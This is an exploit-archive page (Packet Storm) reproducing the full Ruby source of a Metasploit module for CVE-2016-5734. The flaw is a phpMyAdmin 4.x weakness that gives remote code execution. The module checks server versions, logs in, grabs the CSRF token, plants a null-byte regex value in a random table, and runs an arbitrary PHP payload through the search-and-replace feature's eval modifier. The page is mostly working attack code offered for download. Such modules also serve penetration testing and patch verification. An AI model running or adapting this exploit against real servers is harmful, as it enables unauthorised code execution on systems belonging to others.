Twenty Year Anniversary

phpMyAdmin 4.x Remote Code Execution

phpMyAdmin 4.x Remote Code Execution
Posted Jun 18, 2018
Authored by Matteo Cantoni, Cure53, Michal AihaA | Site metasploit.com

phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent use of the preg_replace (aka eval) modifier, which might allow remote attackers to execute arbitrary PHP code via a crafted string, as demonstrated by the table search-and-replace implementation.

tags | exploit, remote, arbitrary, php
advisories | CVE-2016-5734
MD5 | 40f298aed179561d60e3ea947664bb79

phpMyAdmin 4.x Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
'Description' => %q{
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
4.6.3 does not properly choose delimiters to prevent use of the preg_replace
(aka eval) modifier, which might allow remote attackers to execute arbitrary
PHP code via a crafted string, as demonstrated by the table search-and-replace
implementation.
},
'Author' =>
[
'Michal AihaA and Cure53', # Discovery
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '91387' ],
[ 'CVE', '2016-5734' ],
[ 'CWE', '661' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
],
'Privileged' => true,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
])
end

def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
rescue
print_error("#{peer} - Unable to connect to server")
return Exploit::CheckCode::Unknown
end

if res.nil? || res.code != 200
print_error("#{peer} - Unable to query /js/messages.php")
return Exploit::CheckCode::Unknown
end

# PHP 4.3.0-5.4.6
# PHP > 5.4.6 not exploitable because null byte in regexp warning
php_version = res['X-Powered-By']
if php_version
vprint_status("#{peer} - PHP version: #{php_version}")

if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
version = Gem::Version.new($1)
vprint_status("#{peer} - PHP version: #{version.to_s}")
if version > Gem::Version.new('5.4.6')
return Exploit::CheckCode::Safe
end
end
else
vprint_status("#{peer} - Unknown PHP version")
end

# 4.3.0 - 4.6.2 authorized user RCE exploit
if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
version = Gem::Version.new($1)
vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')
return Exploit::CheckCode::Appears
elsif version < Gem::Version.new('4.3.0')
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Unknown
end

def exploit
return unless check == Exploit::CheckCode::Appears

uri = target_uri.path
vprint_status("#{peer} - Grabbing CSRF token...")

response = send_request_cgi({ 'uri' => uri})

if response.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
elsif (response.body !~ /"token"\s*value="([^"]*)"/)
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end

token = $1
vprint_status("#{peer} - Retrieved token #{token}")

vprint_status("#{peer} - Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_post' => {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
})

if login.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login.redirect?
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
else
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
end

cookies = login.get_cookies

login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})

if login_check.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login_check.body =~ /Welcome to/
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

vprint_status("#{peer} - Authentication successful")

# Create random table and column
rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
sql_value = '0%2Fe%00'

vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");

create_rand_table = send_request_cgi({
'uri' => normalize_uri(uri, 'import.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' => {
'show_query' => '0',
'ajax_request' => 'true',
'db' => datastore['DATABASE'],
'pos' => '0',
'is_js_confirmed' => '0',
'fk_checks' => '0',
'sql_delimiter' => ';',
'token' => token,
'SQL' => 'Go',
'ajax_page_request' => 'true',
'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
}
})

if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
end

vprint_status("#{peer} - Random table created")

# Execute command
command = Rex::Text.uri_encode(payload.encoded)

exec_cmd = send_request_cgi({
'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' =>{
'columnIndex' => '0',
'token' => token,
'submit' => 'Go',
'ajax_request' => 'true',
'goto' => 'sql.php',
'table' => rand_table,
'replaceWith' => "eval%28%22#{command}%22%29%3B",
'db' => datastore['DATABASE'],
'find' => sql_value,
'useRegex' => 'on'
}
})

# Remove random table
vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")

rm_table = send_request_cgi({
'uri' => normalize_uri(uri, 'import.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' => {
'show_query' => '0',
'ajax_request' => 'true',
'db' => datastore['DATABASE'],
'pos' => '0',
'is_js_confirmed' => '0',
'fk_checks' => '0',
'sql_delimiter' => ';',
'token' => token,
'SQL' => 'Go',
'ajax_page_request' => 'true',
'sql_query' => "DROP+TABLE+`#{rand_table}`"
}
})

if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    16 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    19 Files
  • 23
    Oct 23rd
    24 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close